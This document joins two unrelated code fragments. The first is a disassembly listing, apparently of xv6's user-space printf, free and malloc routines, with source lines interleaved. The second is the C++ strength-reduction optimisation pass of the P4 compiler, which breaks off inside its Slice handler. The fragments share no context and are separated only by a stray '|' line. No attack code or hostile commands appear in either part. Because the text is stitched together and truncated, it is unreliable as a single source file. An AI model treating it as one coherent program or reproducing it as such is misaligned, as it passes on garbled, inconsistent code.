cf9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
d00: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
d07: eb 8d jmp c96 <printint+0x26>
d09: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000d10 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
d10: 55 push %ebp
d11: 89 e5 mov %esp,%ebp
d13: 57 push %edi
d14: 56 push %esi
d15: 53 push %ebx
d16: 83 ec 3c sub $0x3c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
d19: 8b 75 0c mov 0xc(%ebp),%esi
d1c: 0f b6 1e movzbl (%esi),%ebx
d1f: 84 db test %bl,%bl
d21: 0f 84 d1 00 00 00 je df8 <printf+0xe8>
state = 0;
d27: 31 ff xor %edi,%edi
d29: 46 inc %esi
ap = (uint*)(void*)&fmt + 1;
d2a: 8d 45 10 lea 0x10(%ebp),%eax
write(fd, &c, 1);
d2d: 89 fa mov %edi,%edx
d2f: 8b 7d 08 mov 0x8(%ebp),%edi
ap = (uint*)(void*)&fmt + 1;
d32: 89 45 d0 mov %eax,-0x30(%ebp)
d35: eb 41 jmp d78 <printf+0x68>
d37: 89 f6 mov %esi,%esi
d39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
d40: 83 f8 25 cmp $0x25,%eax
d43: 89 55 d4 mov %edx,-0x2c(%ebp)
state = '%';
d46: ba 25 00 00 00 mov $0x25,%edx
if(c == '%'){
d4b: 74 1e je d6b <printf+0x5b>
write(fd, &c, 1);
d4d: b8 01 00 00 00 mov $0x1,%eax
d52: 89 44 24 08 mov %eax,0x8(%esp)
d56: 8d 45 e2 lea -0x1e(%ebp),%eax
d59: 89 44 24 04 mov %eax,0x4(%esp)
d5d: 89 3c 24 mov %edi,(%esp)
d60: 88 5d e2 mov %bl,-0x1e(%ebp)
d63: e8 60 fe ff ff call bc8 <write>
d68: 8b 55 d4 mov -0x2c(%ebp),%edx
d6b: 46 inc %esi
for(i = 0; fmt[i]; i++){
d6c: 0f b6 5e ff movzbl -0x1(%esi),%ebx
d70: 84 db test %bl,%bl
d72: 0f 84 80 00 00 00 je df8 <printf+0xe8>
if(state == 0){
d78: 85 d2 test %edx,%edx
c = fmt[i] & 0xff;
d7a: 0f be cb movsbl %bl,%ecx
d7d: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
d80: 74 be je d40 <printf+0x30>
} else {
putc(fd, c);
}
} else if(state == '%'){
d82: 83 fa 25 cmp $0x25,%edx
d85: 75 e4 jne d6b <printf+0x5b>
if(c == 'd'){
d87: 83 f8 64 cmp $0x64,%eax
d8a: 0f 84 f0 00 00 00 je e80 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
d90: 81 e1 f7 00 00 00 and $0xf7,%ecx
d96: 83 f9 70 cmp $0x70,%ecx
d99: 74 65 je e00 <printf+0xf0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
d9b: 83 f8 73 cmp $0x73,%eax
d9e: 0f 84 8c 00 00 00 je e30 <printf+0x120>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
da4: 83 f8 63 cmp $0x63,%eax
da7: 0f 84 13 01 00 00 je ec0 <printf+0x1b0>
putc(fd, *ap);
ap++;
} else if(c == '%'){
dad: 83 f8 25 cmp $0x25,%eax
db0: 0f 84 e2 00 00 00 je e98 <printf+0x188>
write(fd, &c, 1);
db6: b8 01 00 00 00 mov $0x1,%eax
dbb: 46 inc %esi
dbc: 89 44 24 08 mov %eax,0x8(%esp)
dc0: 8d 45 e7 lea -0x19(%ebp),%eax
dc3: 89 44 24 04 mov %eax,0x4(%esp)
dc7: 89 3c 24 mov %edi,(%esp)
dca: c6 45 e7 25 movb $0x25,-0x19(%ebp)
dce: e8 f5 fd ff ff call bc8 <write>
dd3: ba 01 00 00 00 mov $0x1,%edx
dd8: 8d 45 e6 lea -0x1a(%ebp),%eax
ddb: 89 54 24 08 mov %edx,0x8(%esp)
ddf: 89 44 24 04 mov %eax,0x4(%esp)
de3: 89 3c 24 mov %edi,(%esp)
de6: 88 5d e6 mov %bl,-0x1a(%ebp)
de9: e8 da fd ff ff call bc8 <write>
for(i = 0; fmt[i]; i++){
dee: 0f b6 5e ff movzbl -0x1(%esi),%ebx
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
df2: 31 d2 xor %edx,%edx
for(i = 0; fmt[i]; i++){
df4: 84 db test %bl,%bl
df6: 75 80 jne d78 <printf+0x68>
}
}
}
df8: 83 c4 3c add $0x3c,%esp
dfb: 5b pop %ebx
dfc: 5e pop %esi
dfd: 5f pop %edi
dfe: 5d pop %ebp
dff: c3 ret
printint(fd, *ap, 16, 0);
e00: c7 04 24 00 00 00 00 movl $0x0,(%esp)
e07: b9 10 00 00 00 mov $0x10,%ecx
e0c: 8b 5d d0 mov -0x30(%ebp),%ebx
e0f: 89 f8 mov %edi,%eax
e11: 8b 13 mov (%ebx),%edx
e13: e8 58 fe ff ff call c70 <printint>
ap++;
e18: 89 d8 mov %ebx,%eax
state = 0;
e1a: 31 d2 xor %edx,%edx
ap++;
e1c: 83 c0 04 add $0x4,%eax
e1f: 89 45 d0 mov %eax,-0x30(%ebp)
e22: e9 44 ff ff ff jmp d6b <printf+0x5b>
e27: 89 f6 mov %esi,%esi
e29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
s = (char*)*ap;
e30: 8b 45 d0 mov -0x30(%ebp),%eax
e33: 8b 10 mov (%eax),%edx
ap++;
e35: 83 c0 04 add $0x4,%eax
e38: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
e3b: 85 d2 test %edx,%edx
e3d: 0f 84 aa 00 00 00 je eed <printf+0x1dd>
while(*s != 0){
e43: 0f b6 02 movzbl (%edx),%eax
s = (char*)*ap;
e46: 89 d3 mov %edx,%ebx
while(*s != 0){
e48: 84 c0 test %al,%al
e4a: 74 27 je e73 <printf+0x163>
e4c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
e50: 88 45 e3 mov %al,-0x1d(%ebp)
write(fd, &c, 1);
e53: b8 01 00 00 00 mov $0x1,%eax
s++;
e58: 43 inc %ebx
write(fd, &c, 1);
e59: 89 44 24 08 mov %eax,0x8(%esp)
e5d: 8d 45 e3 lea -0x1d(%ebp),%eax
e60: 89 44 24 04 mov %eax,0x4(%esp)
e64: 89 3c 24 mov %edi,(%esp)
e67: e8 5c fd ff ff call bc8 <write>
while(*s != 0){
e6c: 0f b6 03 movzbl (%ebx),%eax
e6f: 84 c0 test %al,%al
e71: 75 dd jne e50 <printf+0x140>
state = 0;
e73: 31 d2 xor %edx,%edx
e75: e9 f1 fe ff ff jmp d6b <printf+0x5b>
e7a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printint(fd, *ap, 10, 1);
e80: c7 04 24 01 00 00 00 movl $0x1,(%esp)
e87: b9 0a 00 00 00 mov $0xa,%ecx
e8c: e9 7b ff ff ff jmp e0c <printf+0xfc>
e91: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
write(fd, &c, 1);
e98: b9 01 00 00 00 mov $0x1,%ecx
e9d: 8d 45 e5 lea -0x1b(%ebp),%eax
ea0: 89 4c 24 08 mov %ecx,0x8(%esp)
ea4: 89 44 24 04 mov %eax,0x4(%esp)
ea8: 89 3c 24 mov %edi,(%esp)
eab: 88 5d e5 mov %bl,-0x1b(%ebp)
eae: e8 15 fd ff ff call bc8 <write>
state = 0;
eb3: 31 d2 xor %edx,%edx
eb5: e9 b1 fe ff ff jmp d6b <printf+0x5b>
eba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
putc(fd, *ap);
ec0: 8b 5d d0 mov -0x30(%ebp),%ebx
ec3: 8b 03 mov (%ebx),%eax
ap++;
ec5: 83 c3 04 add $0x4,%ebx
write(fd, &c, 1);
ec8: 89 3c 24 mov %edi,(%esp)
putc(fd, *ap);
ecb: 88 45 e4 mov %al,-0x1c(%ebp)
write(fd, &c, 1);
ece: b8 01 00 00 00 mov $0x1,%eax
ed3: 89 44 24 08 mov %eax,0x8(%esp)
ed7: 8d 45 e4 lea -0x1c(%ebp),%eax
eda: 89 44 24 04 mov %eax,0x4(%esp)
ede: e8 e5 fc ff ff call bc8 <write>
state = 0;
ee3: 31 d2 xor %edx,%edx
ap++;
ee5: 89 5d d0 mov %ebx,-0x30(%ebp)
ee8: e9 7e fe ff ff jmp d6b <printf+0x5b>
s = "(null)";
eed: bb 98 12 00 00 mov $0x1298,%ebx
while(*s != 0){
ef2: b0 28 mov $0x28,%al
ef4: e9 57 ff ff ff jmp e50 <printf+0x140>
ef9: 66 90 xchg %ax,%ax
efb: 66 90 xchg %ax,%ax
efd: 66 90 xchg %ax,%ax
eff: 90 nop
00000f00 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
f00: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
f01: a1 2c 18 00 00 mov 0x182c,%eax
{
f06: 89 e5 mov %esp,%ebp
f08: 57 push %edi
f09: 56 push %esi
f0a: 53 push %ebx
f0b: 8b 5d 08 mov 0x8(%ebp),%ebx
bp = (Header*)ap - 1;
f0e: 8d 4b f8 lea -0x8(%ebx),%ecx
f11: eb 0d jmp f20 <free+0x20>
f13: 90 nop
f14: 90 nop
f15: 90 nop
f16: 90 nop
f17: 90 nop
f18: 90 nop
f19: 90 nop
f1a: 90 nop
f1b: 90 nop
f1c: 90 nop
f1d: 90 nop
f1e: 90 nop
f1f: 90 nop
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
f20: 39 c8 cmp %ecx,%eax
f22: 8b 10 mov (%eax),%edx
f24: 73 32 jae f58 <free+0x58>
f26: 39 d1 cmp %edx,%ecx
f28: 72 04 jb f2e <free+0x2e>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
f2a: 39 d0 cmp %edx,%eax
f2c: 72 32 jb f60 <free+0x60>
break;
if(bp + bp->s.size == p->s.ptr){
f2e: 8b 73 fc mov -0x4(%ebx),%esi
f31: 8d 3c f1 lea (%ecx,%esi,8),%edi
f34: 39 fa cmp %edi,%edx
f36: 74 30 je f68 <free+0x68>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
f38: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
f3b: 8b 50 04 mov 0x4(%eax),%edx
f3e: 8d 34 d0 lea (%eax,%edx,8),%esi
f41: 39 f1 cmp %esi,%ecx
f43: 74 3c je f81 <free+0x81>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
f45: 89 08 mov %ecx,(%eax)
freep = p;
}
f47: 5b pop %ebx
freep = p;
f48: a3 2c 18 00 00 mov %eax,0x182c
}
f4d: 5e pop %esi
f4e: 5f pop %edi
f4f: 5d pop %ebp
f50: c3 ret
f51: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
f58: 39 d0 cmp %edx,%eax
f5a: 72 04 jb f60 <free+0x60>
f5c: 39 d1 cmp %edx,%ecx
f5e: 72 ce jb f2e <free+0x2e>
{
f60: 89 d0 mov %edx,%eax
f62: eb bc jmp f20 <free+0x20>
f64: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bp->s.size += p->s.ptr->s.size;
f68: 8b 7a 04 mov 0x4(%edx),%edi
f6b: 01 fe add %edi,%esi
f6d: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
f70: 8b 10 mov (%eax),%edx
f72: 8b 12 mov (%edx),%edx
f74: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
f77: 8b 50 04 mov 0x4(%eax),%edx
f7a: 8d 34 d0 lea (%eax,%edx,8),%esi
f7d: 39 f1 cmp %esi,%ecx
f7f: 75 c4 jne f45 <free+0x45>
p->s.size += bp->s.size;
f81: 8b 4b fc mov -0x4(%ebx),%ecx
freep = p;
f84: a3 2c 18 00 00 mov %eax,0x182c
p->s.size += bp->s.size;
f89: 01 ca add %ecx,%edx
f8b: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
f8e: 8b 53 f8 mov -0x8(%ebx),%edx
f91: 89 10 mov %edx,(%eax)
}
f93: 5b pop %ebx
f94: 5e pop %esi
f95: 5f pop %edi
f96: 5d pop %ebp
f97: c3 ret
f98: 90 nop
f99: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000fa0 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
fa0: 55 push %ebp
fa1: 89 e5 mov %esp,%ebp
fa3: 57 push %edi
fa4: 56 push %esi
fa5: 53 push %ebx
fa6: 83 ec 1c sub $0x1c,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
fa9: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
fac: 8b 15 2c 18 00 00 mov 0x182c,%edx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
fb2: 8d 78 07 lea 0x7(%eax),%edi
fb5: c1 ef 03 shr $0x3,%edi
fb8: 47 inc %edi
if((prevp = freep) == 0){
fb9: 85 d2 test %edx,%edx
fbb: 0f 84 8f 00 00 00 je 1050 <malloc+0xb0>
fc1: 8b 02 mov (%edx),%eax
fc3: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
fc6: 39 cf cmp %ecx,%edi
fc8: 76 66 jbe 1030 <malloc+0x90>
fca: 81 ff 00 10 00 00 cmp $0x1000,%edi
fd0: bb 00 10 00 00 mov $0x1000,%ebx
fd5: 0f 43 df cmovae %edi,%ebx
p = sbrk(nu * sizeof(Header));
fd8: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi
fdf: eb 10 jmp ff1 <malloc+0x51>
fe1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
fe8: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
fea: 8b 48 04 mov 0x4(%eax),%ecx
fed: 39 f9 cmp %edi,%ecx
fef: 73 3f jae 1030 <malloc+0x90>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
ff1: 39 05 2c 18 00 00 cmp %eax,0x182c
ff7: 89 c2 mov %eax,%edx
ff9: 75 ed jne fe8 <malloc+0x48>
p = sbrk(nu * sizeof(Header));
ffb: 89 34 24 mov %esi,(%esp)
ffe: e8 2d fc ff ff call c30 <sbrk>
if(p == (char*)-1)
1003: 83 f8 ff cmp $0xffffffff,%eax
1006: 74 18 je 1020 <malloc+0x80>
hp->s.size = nu;
1008: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
100b: 83 c0 08 add $0x8,%eax
100e: 89 04 24 mov %eax,(%esp)
1011: e8 ea fe ff ff call f00 <free>
return freep;
1016: 8b 15 2c 18 00 00 mov 0x182c,%edx
if((p = morecore(nunits)) == 0)
101c: 85 d2 test %edx,%edx
101e: 75 c8 jne fe8 <malloc+0x48>
return 0;
}
}
1020: 83 c4 1c add $0x1c,%esp
return 0;
1023: 31 c0 xor %eax,%eax
}
1025: 5b pop %ebx
1026: 5e pop %esi
1027: 5f pop %edi
1028: 5d pop %ebp
1029: c3 ret
102a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(p->s.size == nunits)
1030: 39 cf cmp %ecx,%edi
1032: 74 4c je 1080 <malloc+0xe0>
p->s.size -= nunits;
1034: 29 f9 sub %edi,%ecx
1036: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
1039: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
103c: 89 78 04 mov %edi,0x4(%eax)
freep = prevp;
103f: 89 15 2c 18 00 00 mov %edx,0x182c
}
1045: 83 c4 1c add $0x1c,%esp
return (void*)(p + 1);
1048: 83 c0 08 add $0x8,%eax
}
104b: 5b pop %ebx
104c: 5e pop %esi
104d: 5f pop %edi
104e: 5d pop %ebp
104f: c3 ret
base.s.ptr = freep = prevp = &base;
1050: b8 30 18 00 00 mov $0x1830,%eax
1055: ba 30 18 00 00 mov $0x1830,%edx
base.s.size = 0;
105a: 31 c9 xor %ecx,%ecx
base.s.ptr = freep = prevp = &base;
105c: a3 2c 18 00 00 mov %eax,0x182c
base.s.size = 0;
1061: b8 30 18 00 00 mov $0x1830,%eax
base.s.ptr = freep = prevp = &base;
1066: 89 15 30 18 00 00 mov %edx,0x1830
base.s.size = 0;
106c: 89 0d 34 18 00 00 mov %ecx,0x1834
1072: e9 53 ff ff ff jmp fca <malloc+0x2a>
1077: 89 f6 mov %esi,%esi
1079: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
prevp->s.ptr = p->s.ptr;
1080: 8b 08 mov (%eax),%ecx
1082: 89 0a mov %ecx,(%edx)
1084: eb b9 jmp 103f <malloc+0x9f>
|
/*
Copyright 2013-present Barefoot Networks, Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#include "strengthReduction.h"
namespace P4 {
/// @section Helper methods
bool DoStrengthReduction::isOne(const IR::Expression* expr) const {
auto cst = expr->to<IR::Constant>();
if (cst == nullptr)
return false;
return cst->value == 1;
}
bool DoStrengthReduction::isZero(const IR::Expression* expr) const {
if (auto bt = expr->type->to<IR::Type_Bits>()) {
if (bt->width_bits() == 0)
return true;
}
auto cst = expr->to<IR::Constant>();
if (cst == nullptr)
return false;
return cst->value == 0;
}
bool DoStrengthReduction::isTrue(const IR::Expression* expr) const {
auto cst = expr->to<IR::BoolLiteral>();
if (cst == nullptr)
return false;
return cst->value;
}
bool DoStrengthReduction::isFalse(const IR::Expression* expr) const {
auto cst = expr->to<IR::BoolLiteral>();
if (cst == nullptr)
return false;
return !cst->value;
}
int DoStrengthReduction::isPowerOf2(const IR::Expression* expr) const {
auto cst = expr->to<IR::Constant>();
if (cst == nullptr)
return -1;
if (cst->value <= 0)
return -1;
auto log = boost::multiprecision::msb(cst->value);
if (log != boost::multiprecision::lsb(cst->value))
return -1;
// Assumes value does not have more than 2 billion bits
return log;
}
bool DoStrengthReduction::isAllOnes(const IR::Expression* expr) const {
auto cst = expr->to<IR::Constant>();
if (cst == nullptr)
return false;
big_int value = cst->value;
if (value <= 0)
return false;
auto bitcnt = bitcount(value);
return bitcnt == (unsigned long)(expr->type->width_bits());
}
/// @section Visitor Methods
const IR::Node* DoStrengthReduction::postorder(IR::Cmpl* expr) {
if (auto a = expr->expr->to<IR::Cmpl>())
return a->expr;
return expr;
}
const IR::Node* DoStrengthReduction::postorder(IR::UPlus* expr) {
return expr->expr;
}
const IR::Node* DoStrengthReduction::postorder(IR::BAnd* expr) {
if (isAllOnes(expr->left))
return expr->right;
if (isAllOnes(expr->right))
return expr->left;
auto l = expr->left->to<IR::Cmpl>();
auto r = expr->right->to<IR::Cmpl>();
if (l && r)
return new IR::Cmpl(new IR::BOr(expr->srcInfo, l->expr, r->expr));
if (hasSideEffects(expr))
return expr;
if (isZero(expr->left))
return expr->left;
if (isZero(expr->right))
return expr->right;
if (expr->left->equiv(*expr->right))
return expr->left;
return expr;
}
const IR::Node* DoStrengthReduction::postorder(IR::BOr* expr) {
if (isZero(expr->left))
return expr->right;
if (isZero(expr->right))
return expr->left;
auto l = expr->left->to<IR::Cmpl>();
auto r = expr->right->to<IR::Cmpl>();
if (l && r)
return new IR::Cmpl(new IR::BAnd(expr->srcInfo, l->expr, r->expr));
if (hasSideEffects(expr))
return expr;
if (expr->left->equiv(*expr->right))
return expr->left;
return expr;
}
const IR::Node* DoStrengthReduction::postorder(IR::BXor* expr) {
if (isZero(expr->left))
return expr->right;
if (isZero(expr->right))
return expr->left;
bool cmpl = false;
if (auto l = expr->left->to<IR::Cmpl>()) {
expr->left = l->expr;
cmpl = !cmpl; }
if (auto r = expr->right->to<IR::Cmpl>()) {
expr->right = r->expr;
cmpl = !cmpl; }
if (cmpl)
return new IR::Cmpl(expr);
if (hasSideEffects(expr))
return expr;
if (expr->left->equiv(*expr->right) && expr->left->type &&
!expr->left->type->is<IR::Type_Unknown>())
// we assume that this type is right
return new IR::Constant(expr->left->type, 0);
return expr;
}
const IR::Node* DoStrengthReduction::postorder(IR::LAnd* expr) {
if (isFalse(expr->left))
return expr->left;
if (isTrue(expr->left))
return expr->right;
if (isTrue(expr->right))
return expr->left;
// Note that remaining case is not simplified, due to possible side effects in expr->left
return expr;
}
const IR::Node* DoStrengthReduction::postorder(IR::LOr* expr) {
if (isFalse(expr->left))
return expr->right;
if (isTrue(expr->left))
return expr->left;
if (isFalse(expr->right))
return expr->left;
// Note that remaining case is not simplified, due to semantics of short-circuit evaluation
return expr;
}
const IR::Node* DoStrengthReduction::postorder(IR::Equ* expr) {
// a == true is the same as a
if (isTrue(expr->left))
return expr->right;
if (isTrue(expr->right))
return expr->left;
// a == false is the same as !a
if (isFalse(expr->left))
return new IR::LNot(expr->right);
if (isFalse(expr->right))
return new IR::LNot(expr->left);
return expr;
}
const IR::Node* DoStrengthReduction::postorder(IR::Neq* expr) {
// a != true is the same as !a
if (isTrue(expr->left))
return new IR::LNot(expr->right);
if (isTrue(expr->right))
return new IR::LNot(expr->left);
// a != false is the same as a
if (isFalse(expr->left))
return expr->right;
if (isFalse(expr->right))
return expr->left;
return expr;
}
const IR::Node* DoStrengthReduction::postorder(IR::LNot* expr) {
if (auto e = expr->expr->to<IR::LNot>())
return e->expr;
if (auto e = expr->expr->to<IR::Equ>())
return new IR::Neq(e->left, e->right);
if (auto e = expr->expr->to<IR::Neq>())
return new IR::Equ(e->left, e->right);
if (auto e = expr->expr->to<IR::Leq>())
return new IR::Grt(e->left, e->right);
if (auto e = expr->expr->to<IR::Geq>())
return new IR::Lss(e->left, e->right);
if (auto e = expr->expr->to<IR::Lss>())
return new IR::Geq(e->left, e->right);
if (auto e = expr->expr->to<IR::Grt>())
return new IR::Leq(e->left, e->right);
return expr;
}
const IR::Node* DoStrengthReduction::postorder(IR::Sub* expr) {
if (isZero(expr->right))
return expr->left;
if (isZero(expr->left))
return new IR::Neg(expr->srcInfo, expr->right);
// Replace `a - constant` with `a + (-constant)`
if (expr->right->is<IR::Constant>()) {
auto cst = expr->right->to<IR::Constant>();
auto neg = new IR::Constant(cst->srcInfo, cst->type, -cst->value, cst->base, true);
auto result = new IR::Add(expr->srcInfo, expr->left, neg);
return result;
}
if (hasSideEffects(expr))
return expr;
if (expr->left->equiv(*expr->right) && expr->left->type &&
!expr->left->type->is<IR::Type_Unknown>())
return new IR::Constant(expr->left->type, 0);
return expr;
}
const IR::Node* DoStrengthReduction::postorder(IR::Add* expr) {
if (isZero(expr->right))
return expr->left;
if (isZero(expr->left))
return expr->right;
return expr;
}
const IR::Node* DoStrengthReduction::postorder(IR::Shl* expr) {
if (isZero(expr->right))
return expr->left;
if (auto sh2 = expr->left->to<IR::Shl>()) {
if (sh2->right->type->is<IR::Type_InfInt>() &&
expr->right->type->is<IR::Type_InfInt>()) {
// (a << b) << c is a << (b + c)
auto result = new IR::Shl(expr->srcInfo, sh2->left,
new IR::Add(expr->srcInfo, sh2->right, expr->right));
LOG3("Replace " << expr << " with " << result);
return result;
}
}
if (!hasSideEffects(expr->right) && isZero(expr->left))
return expr->left;
return expr;
}
const IR::Node* DoStrengthReduction::postorder(IR::Shr* expr) {
if (isZero(expr->right))
return expr->left;
if (auto sh2 = expr->left->to<IR::Shr>()) {
if (sh2->right->type->is<IR::Type_InfInt>() &&
expr->right->type->is<IR::Type_InfInt>()) {
// (a >> b) >> c is a >> (b + c)
auto result = new IR::Shr(expr->srcInfo, sh2->left,
new IR::Add(expr->srcInfo, sh2->right, expr->right));
LOG3("Replace " << expr << " with " << result);
return result;
}
}
if (!hasSideEffects(expr->right) && isZero(expr->left))
return expr->left;
return expr;
}
const IR::Node* DoStrengthReduction::postorder(IR::Mul* expr) {
if (isOne(expr->left))
return expr->right;
if (isOne(expr->right))
return expr->left;
auto exp = isPowerOf2(expr->left);
if (exp >= 0) {
auto amt = new IR::Constant(exp);
auto sh = new IR::Shl(expr->srcInfo, expr->right, amt);
return sh;
}
exp = isPowerOf2(expr->right);
if (exp >= 0) {
auto amt = new IR::Constant(exp);
auto sh = new IR::Shl(expr->srcInfo, expr->left, amt);
return sh;
}
if (hasSideEffects(expr))
return expr;
if (isZero(expr->left))
return expr->left;
if (isZero(expr->right))
return expr->right;
return expr;
}
const IR::Node* DoStrengthReduction::postorder(IR::Div* expr) {
if (isZero(expr->right)) {
::error(ErrorType::ERR_EXPRESSION, "%1%: Division by zero", expr);
return expr;
}
if (isOne(expr->right))
return expr->left;
auto exp = isPowerOf2(expr->right);
if (exp >= 0) {
auto amt = new IR::Constant(exp);
auto sh = new IR::Shr(expr->srcInfo, expr->left, amt);
return sh;
}
if (isZero(expr->left) && !hasSideEffects(expr->right))
return expr->left;
return expr;
}
const IR::Node* DoStrengthReduction::postorder(IR::Mod* expr) {
if (isZero(expr->right)) {
::error(ErrorType::ERR_EXPRESSION, "%1%: Modulo by zero", expr);
return expr;
}
if (isZero(expr->left) && !hasSideEffects(expr->right))
return expr->left;
auto exp = isPowerOf2(expr->right);
if (exp >= 0) {
big_int mask = 1;
mask = (mask << exp) - 1;
auto amt = new IR::Constant(expr->right->to<IR::Constant>()->type, mask);
auto sh = new IR::BAnd(expr->srcInfo, expr->left, amt);
return sh;
}
return expr;
}
const IR::Node* DoStrengthReduction::postorder(IR::Range* range) {
// Range a..a is the same as a
if (auto c0 = range->left->to<IR::Constant>()) {
if (auto c1 = range->right->to<IR::Constant>()) {
if (c0->value == c1->value)
return c0;
}
}
return range;
}
const IR::Node* DoStrengthReduction::postorder(IR::Mask* mask) {
// a &&& 0xFFFF = a
if (isAllOnes(mask->right)) {
return mask->left;
}
return mask;
}
const IR::Node* DoStrengthReduction::postorder(IR::Mux* expr) {
if (isTrue(expr->e1) && isFalse(expr->e2))
return expr->e0;
else if (isFalse(expr->e1) && isTrue(expr->e2))
return new IR::LNot(expr->e0);
else if (auto lnot = expr->e0->to<IR::LNot>())
return new IR::Mux(lnot->expr, expr->e2, expr->e1);
else if (!hasSideEffects(expr) && expr->e1->equiv(*expr->e2))
return expr->e1;
return expr;
}
const IR::Node* DoStrengthReduction::postorder(IR::Concat* expr) {
if (auto bt = expr->left->type->to<IR::Type_Bits>())
if (bt->width_bits() == 0)
return expr->right;
if (auto bt = expr->right->type->to<IR::Type_Bits>())
if (bt->width_bits() == 0)
return expr->left;
return expr;
}
const IR::Node* DoStrengthReduction::postorder(IR::Slice* expr) {
int shift_amt = 0;
const IR::Expression *shift_of = nullptr;
if (auto sh = expr->e0->to<IR::Shr>()) {
if (auto k = sh->right->to<IR::Constant>()) {
shift_amt = k->asInt();
shift_of = sh->left; } }
if (auto sh = expr->e0->to<IR::Shl>()) {
if (auto k = sh->right->to<IR::Constant>()) {
shift_amt = -k->asInt();
shift_of = sh->left; } }
if (shift_of) {
if (!shift_of->type->is<IR::Type_Bits>())
return expr;
if (shift_of->type->to<IR::Type_Bits>()->isSigned && expr->e0->is<IR::Shr>())
return expr;
int hi = expr->getH();
int lo = expr->getL();
if (lo + shift_amt >= 0 && hi + shift_amt < shift_of->type->width_bits()) {
expr->e0 = shift_of;
expr->e1 = new IR::Constant(hi + shift_amt);
expr->e2 = new IR::Constant(lo + shift_amt); }
if (hi + shift_amt < 0) {
if (!hasSideEffects(shift_of))
return new IR::Constant(IR::Type_Bits::get(hi - lo + 1), 0);
// TODO: here we could promote the side-effect into a
// separate statement. and still return the constant.
// But for now we only produce expressions.
return expr;
}
if (lo + shift_amt < 0) {
expr->e0 = shift_of;
expr->e1 = new IR::Constant(hi + shift_amt);
expr->e2 = new IR::Constant(0);
return new IR::Concat(expr->type, expr,
new IR::Constant(IR::Type_Bits::get(-(lo + shift_amt)), 0)); } }
while (auto cat = expr->e0->to<IR::Concat>()) {
unsigned rwidth = cat->right->type->width_bits();
if (expr->getL() >= rwidth) {
if (!hasSideEffects(cat->right)) {
expr->e0 = cat->left;
expr->e1 = new IR::Constant(expr->getH() - rwidth);
expr->e2 = new IR::Constant(expr->getL() - rwidth);
} else {
break;
}
} else if (expr->getH() < rwidth) {
if (!hasSideEffects(cat->left))
expr->e0 = cat->right;
else
break;
} else {
return new IR::Concat(expr->type,
new IR::Slice(cat->left, expr->getH() - rwidth, 0),
new IR::Slice(cat->right, rwidth-1, expr->getL()));
}
}
while (auto cast = expr->e0->to<IR::Cast>()) {
if (expr->getH() < size_t(cast->expr->type->width_bits())) {
expr->e0 = cast->expr;
} else {
break; } }
// out-of-bound error has been caught in type checking
